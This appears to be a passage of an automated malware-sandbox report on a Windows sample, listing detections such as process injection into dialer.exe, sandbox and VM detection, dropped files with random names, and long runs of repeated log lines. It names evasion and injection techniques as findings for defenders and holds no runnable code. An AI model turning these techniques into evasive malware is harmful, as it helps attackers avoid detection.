Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dialer.exe	Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,		11_2_00000001400010C0
Source: C:\Windows\System32\dialer.exe	Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,		39_2_00000001400010C0

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\dialer.exe

System information queried: FirmwareTableInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5343	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4435	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 5546	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 4453	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 9872	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7372
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2097
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9875	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Window / User API: threadDelayed 1719	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Window / User API: threadDelayed 389	Jump to behavior

Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe

Dropped PE file which has not been started: C:\Windows\Temp\gyqerfjfsbie.sys

Jump to dropped file

Source: C:\Windows\System32\lsass.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep			graph_26-14886
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep			graph_29-14869

Source: C:\Windows\System32\dialer.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_11-480

Source: C:\Windows\System32\winlogon.exe	API coverage: 6.8 %
Source: C:\Windows\System32\lsass.exe	API coverage: 7.3 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.9 %
Source: C:\Windows\System32\dialer.exe	API coverage: 0.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.7 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.4 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.7 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.8 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.9 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3704	Thread sleep count: 5343 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3704	Thread sleep count: 4435 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1216	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dialer.exe TID: 6824	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7364	Thread sleep count: 5546 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7364	Thread sleep time: -5546000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7364	Thread sleep count: 4453 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7364	Thread sleep time: -4453000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 7492	Thread sleep count: 9872 > 30	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 7492	Thread sleep time: -9872000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7452	Thread sleep count: 7372 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7452	Thread sleep count: 2097 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7496	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7508	Thread sleep count: 242 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7508	Thread sleep time: -242000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dwm.exe TID: 7880	Thread sleep count: 9875 > 30	Jump to behavior
Source: C:\Windows\System32\dwm.exe TID: 7880	Thread sleep time: -9875000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dialer.exe TID: 7652	Thread sleep count: 1719 > 30	Jump to behavior
Source: C:\Windows\System32\dialer.exe TID: 7652	Thread sleep time: -171900s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dialer.exe TID: 7856	Thread sleep count: 389 > 30	Jump to behavior
Source: C:\Windows\System32\dialer.exe TID: 7856	Thread sleep time: -38900s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7904	Thread sleep count: 250 > 30
Source: C:\Windows\System32\svchost.exe TID: 7904	Thread sleep time: -250000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7928	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 7928	Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8008	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 8008	Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8020	Thread sleep count: 246 > 30
Source: C:\Windows\System32\svchost.exe TID: 8020	Thread sleep time: -246000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8092	Thread sleep count: 209 > 30
Source: C:\Windows\System32\svchost.exe TID: 8092	Thread sleep time: -209000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8100	Thread sleep count: 251 > 30
Source: C:\Windows\System32\svchost.exe TID: 8100	Thread sleep time: -251000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8156	Thread sleep count: 239 > 30
Source: C:\Windows\System32\svchost.exe TID: 8156	Thread sleep time: -239000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8176	Thread sleep count: 246 > 30
Source: C:\Windows\System32\svchost.exe TID: 8176	Thread sleep time: -246000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5544	Thread sleep count: 249 > 30
Source: C:\Windows\System32\svchost.exe TID: 5544	Thread sleep time: -249000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2448	Thread sleep count: 251 > 30
Source: C:\Windows\System32\svchost.exe TID: 2448	Thread sleep time: -251000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3004	Thread sleep count: 246 > 30
Source: C:\Windows\System32\svchost.exe TID: 3004	Thread sleep time: -246000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7172	Thread sleep count: 241 > 30
Source: C:\Windows\System32\svchost.exe TID: 7172	Thread sleep time: -241000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7176	Thread sleep count: 251 > 30
Source: C:\Windows\System32\svchost.exe TID: 7176	Thread sleep time: -251000s >= -30000s

Source: C:\Windows\System32\dialer.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC64DCE0 FindFirstFileExW,	20_2_00000225DC64DCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC6ADCE0 FindFirstFileExW,	20_2_00000225DC6ADCE0
Source: C:\Windows\System32\lsass.exe	Code function: 26_2_00000202C0AEDCE0 FindFirstFileExW,	26_2_00000202C0AEDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002A66130DCE0 FindFirstFileExW,	29_2_000002A66130DCE0
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAEDFDCE0 FindFirstFileExW,	30_2_000002BAAEDFDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_0000026A879CDCE0 FindFirstFileExW,	45_2_0000026A879CDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000179537ADCE0 FindFirstFileExW,	46_2_00000179537ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000002295D56DCE0 FindFirstFileExW,	47_2_000002295D56DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000025306E6DCE0 FindFirstFileExW,	50_2_0000025306E6DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001845B3CDCE0 FindFirstFileExW,	51_2_000001845B3CDCE0
